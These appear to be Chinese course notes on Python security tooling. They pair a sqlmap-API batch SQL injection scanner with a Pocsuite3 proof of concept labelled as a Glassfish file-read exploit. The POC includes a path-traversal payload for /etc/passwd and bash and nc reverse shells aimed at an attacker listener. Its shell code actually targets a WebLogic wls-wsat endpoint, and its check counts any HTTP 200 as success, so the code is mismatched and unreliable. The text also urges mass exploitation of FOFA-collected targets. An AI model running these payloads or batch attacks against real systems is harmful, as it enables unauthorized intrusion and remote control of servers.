79 Python开发-sqlmapapi&Tamper&Pocsuite

目录

• • 本课知识点
  • 本课目的:
  • 演示案例:
  • • Sqlmap_Tamper模块脚本编写绕过滤
    • SqlmapAPI调用实现自动化SQL注入安全检测
    • Pocsuite3漏扫框架二次开发POC/EXP引入使用
  • 涉及资源:

本课知识点

Request爬虫技术，Sqlmap深入分析，Pocsuite分析，框架代码二次修改等

本课目的:

掌握安全工具的API接口开发利用，掌握优秀框架的二次开发插件引用等

演示案例:

Sqlmap_Tamper模块脚本编写绕过滤

只要你搞清楚怎么绕过之后，把脚本加上去，工具就加载脚本来实现

SqlmapAPI调用实现自动化SQL注入安全检测

我们自己使用sqlmap的时候，就是在命令行去输命令，想实现批量扫描可能就不行了，这个时候就可以使用api接口来实现自动化扫描

参考: https://www.freebuf.com/articles/web/204875.html

应用案例：前期通过信息收集拿到大量的URL地址，这个时候可以配合SqlmapAPI接口进行批量的SQL注入检测（这个可以在SRC挖掘的时候用到的）

把收集的好东西放到一起，把脚本运行起来，一直等就完事了，有漏洞和没漏洞都会实时的告诉你

开发当前项目过程：(利用sqlmapapi接口实现批量URL注入安全检测）

1.创建新任务记录任务ID

@get("/task/new")

2.设置任务ID扫描信息 @post("/option//set")

3.开始扫描对应ID任务

@post("/scan//start")

4.读取扫描状态判断结果

@get("/scan//status")

5.如果结束删除ID并获取结果

@get("/task//delete")

删除ID主要是为了程序更加优化，而且不会占用大量的数据，因为你不删除任务id的话，这个任务会一直储存在电脑上面，相当于占用一定的资源，所以你判定结束之后，就会把任务id删除掉，就不需要这个任务了，然后再获取结果，通过结果就可以判定出，它有没有注入

import time
import requests
import json

def sqlmapapi(url):
    data = {
        'url':url
    }
    headers = {
        'Content-Type': 'application/json'
    }
    # 1-创建任务id
    task_new_url = 'http://127.0.0.1:8775/task/new'
    resp = requests.get(task_new_url)
    task_id = resp.json()['taskid']
    print('创建任务id')
    # print(task_id)
    if 'success' in resp.json():
        print('创建任务id 成功！')
        # 2-设置任务id的配置信息（扫描信息）
        task_set_url = 'http://127.0.0.1:8775/option/' + task_id + '/set'
        print('设置任务id的配置信息')
        # print(task_set_url)
        task_set_resp = requests.post(task_set_url, data=json.dumps(data), headers=headers)
        # print(task_set_resp.json())
        if  'success' in task_set_resp.json():
            print('设置任务id的配置信息成功！')
            # 3-开始扫描对应 ID 任务
            task_scan_url = 'http://127.0.0.1:8775/scan/' + task_id + '/start'
            print('开始扫描对应 ID 任务')
            # print(task_scan_url)
            task_scan_resp = requests.post(task_scan_url, data=json.dumps(data), headers=headers)
            # print(task_scan_resp.json())
            if 'success' in task_scan_resp.json():
                print('开始扫描对应成功 ')
                while 1:
                    # 4-读取扫描状态判断结果
                    task_scan_status_url = 'http://127.0.0.1:8775/scan/' + task_id + '/status'
                    print('读取扫描状态判')
                    # print(task_scan_status_url)
                    task_scan_status_resp = requests.get(task_scan_status_url)
                    # print(task_scan_status_resp.json())
                    if 'running' in task_scan_status_resp.content.decode('utf-8'):
                        print('task scn is running ')
                        pass

                    else:
                        print('sqlmapapi scan finished')
                        # 扫描结果保存
                        task_scan_data_url='http://127.0.0.1:8775/scan/' + task_id + '/data'
                        task_scan_data_url_resp=requests.get(task_scan_data_url).content.decode('utf-8')
                        task_scan_data=task_scan_data_url_resp
                        with open(r'results.txt','a+') as f:
                            f.write(url+'\n')
                            f.write(task_scan_data+'\n')
                            f.write('==========python sqlmapapi scan result=========' + '\n')
                            f.close()
                            # 删除任务id
                            scan_deltask_url='http://127.0.0.1:8775/task/' + task_id + '/delete'
                            scan_deltask = requests.get(scan_deltask_url)
                            if 'success' in scan_deltask.content.decode('utf-8'):
                                print('删除任务id成功')
                                break
                    # 设置读取状态时间
                    time.sleep(1)


if __name__ == '__main__':
    print('task_running')
    for url in open('url.txt'):
        url = url.replace('\n', '')
        sqlmapapi(url)

这个多线程没有太大意义，因为扫描过程核心的是sqlmap，你开多线程，就相当于说你开10个扫描任务到上面去，但是我们不确定sqlmap的api接口能不能承受，搞不好会崩掉，我们没必要去搞多线程，因为扫描的时间取决于自身的，不是由我们能够控制的

在SRC中，利用api接口，把前期的目标收集好之后，用这个工具帮我们实现批量扫描

Pocsuite3漏扫框架二次开发POC/EXP引入使用

专门的漏洞验证项目，我们根据网上最新的漏洞，把这个漏洞引入到Pocsuite3框架里面去，就是丰富这个框架的插件库，来实现把最新的漏洞引入到这个框架里面去

参考: https://www.freebuf.com/articles/people/162868.html

开发当前项目过程：(利用已知框架增加引入最新或内部的EXP进行安全检测）

1.熟悉Pocsuite3项目使用及介绍

2.熟悉使用命令及代码文件对应情况

3.选取Glassfish漏洞进行编写测试

4.参考自带漏洞模版代码模仿写法测试

python cli.py -u x.x.x.x -r Glassfish.py --verify

Pocsuite3的漏洞poc是存放在下面pocs目录的，你拿到这个文件之后，一定要看一下它的目录结构，知道是干嘛用的

"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
"""

import re
from collections import OrderedDict
from urllib.parse import urljoin

from pocsuite3.api import Output, POCBase, register_poc, requests, logger, POC_CATEGORY, OptDict, VUL_TYPE
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.lib.utils import random_str


class DemoPOC(POCBase):
    vulID = '97009'  # ssvid
    version = '3.0'
    author = ['xiaodi']
    vulDate = '2020-12-22'
    createDate = '2020-12-22'
    updateDate = '2020-12-22'
    references = ['https://www.xiaodi8.com']
    name = 'Glassfish任意文件读取漏洞'
    appPowerLink = ''
    appName = 'Glassfish'
    appVersion = '< 10.3.6'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''
        Glassfish任意文件读取漏洞将导致敏感数据泄露，进一步利用会造成权限丢失等安全隐患！
    '''
    samples = []
    install_requires = ['']
    category = POC_CATEGORY.EXPLOITS.REMOTE

    def _options(self):
        o = OrderedDict()
        payload = {
            "nc": "rm -f /tmp/p;mknod /tmp/p p &amp;&amp; nc {0} {1} 0/tmp/p",
            "bash": "bash -i &gt;&amp; /dev/tcp/{0}/{1} 0&gt;&amp;1",
        }
        o["command"] = OptDict(selected="bash", default=payload)
        return o

    def get_check_payload(self, lhost, lport, random_uri):
        check_payload = '''
            <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
              <soapenv:Header>
                <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                  <java version="1.8" class="java.beans.XMLDecoder">
                    <object id="url" class="java.net.URL">
                      <string>http://{lhost}:{lport}/{random_uri}</string>
                    </object>
                    <object idref="url">
                      <void id="stream" method = "openStream" />
                    </object>
                  </java>
                </work:WorkContext>
                </soapenv:Header>
              <soapenv:Body/>
            </soapenv:Envelope>
        '''

        return check_payload.format(
            lhost=lhost, lport=lport, random_uri=random_uri)

    def _verify(self):
        result={}
        veri_url=self.url
        payload='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
        try:
            #requests.post(veri_url, data=payload, headers=headers)
            resp = requests.get(veri_url+payload)
            print(resp.status_code)
            #pattern = 'http://{0}(:{1})?/{2}'.format(check_host, check_port, random_uri)

            if resp.status_code==200:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = veri_url
                result['VerifyInfo']['Payload'] = payload
        except Exception as e:
                pass
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output

    def _attack(self):
        return self._verify()

    def get_shell_payload(self, cmd_base, cmd_opt, cmd_payload):
        shell_payload = '''
            <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
              <soapenv:Header>
                <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                  <java>
                    <object class="java.lang.ProcessBuilder">
                      <array class="java.lang.String" length="3" >
                        <void index="0">
                          <string>{cmd_base}</string>
                        </void>
                        <void index="1">
                          <string>{cmd_opt}</string>
                        </void>
                        <void index="2">
                          <string>{cmd_payload}</string>
                        </void>
                      </array>
                      <void method="start"/>
                    </object>
                  </java>
                </work:WorkContext>
              </soapenv:Header>
              <soapenv:Body/>
            </soapenv:Envelope>
        '''
        return shell_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt,
                                    cmd_payload=cmd_payload)

    def _shell(self):
        vul_url = urljoin(self.url, '/wls-wsat/CoordinatorPortType')
        cmd = 'bash -i &gt;&amp; /dev/tcp/{0}/{1} 0&gt;&amp;1'.format(
            get_listener_ip(), get_listener_port())
        shell_payload = self.get_shell_payload('/bin/bash', '-c', cmd)
        headers = {
            "Content-Type": "text/xml;charset=UTF-8",
            "User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"
        }

        try:
            requests.post(vul_url, data=shell_payload, headers=headers)
        except Exception as e:
            logger.warn(str(e))

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(DemoPOC)

根据pocsuite工具的使用说明和网站的目录结构、代码段，找到对应的地方，知道该改那个地方来实现它的二次开发，当然这种是比较快捷的常用方式

如果基础比较强的话，我们可以从每个代码层面去看，看他的所有代码，看他是怎么传递的，这个情况是你非常了解这个语言，你是能够看得懂的，我那种是你知道的大概，然后我们进行修改

它之前写好的插件进行复制粘添，它怎么写的，我们就把里面简单修改一下，后期有新的漏洞，都可以放进去，就相当于自己有漏洞库了，我们可以用这个框架把每个漏洞写好之后，漏洞多了之后，就是一个很牛逼的渗透扫描工具

搞对抗比赛的红队人员或挖src的人员，平常都在整理这些，有新的漏洞都会整理到自己的工具库里面去，有能力的基本都是这样子

你下载网上的都是一些公开的，它可能是把一些最新漏洞或者内部未公开漏洞写到这个插件里面，那么就能利用插件库进行漏洞的批量利用，再配合FOFA去收集很多目标，配合漏洞检测脚本实现批量化，所以一个人能很简单的挖到漏洞都是有原因的，都是平常的日积月累和整理，做一个有心人去学习整理的话，不嫌麻烦的话，那你挖漏洞绝对是能挖的很好的

挖漏洞这些东西都讲究批量化、自动化，不会要我们人工手测一个个去测试，即使人工也是人工上面的工具化，人工就是把工具打开，然后输一下，还是工具在那边跑，就是它不会像人工一样，一个个去看，都是用脚本，都是用工具，用批量化，这样子效率才高，人工你看一个小时，两个小时没有结果，你认为你还有信心看下去吗，显然不会

面试这种东西就是虚的

涉及资源:

sqlmap工具下载地址：http://sqlmap.org/

pocsuite工具：https://github.com/knownsec/pocsuite/

了解SQLMAP API：https://www.freebuf.com/articles/web/204875.html

PocSuite 使用介绍：https://www.freebuf.com/articles/people/162868.html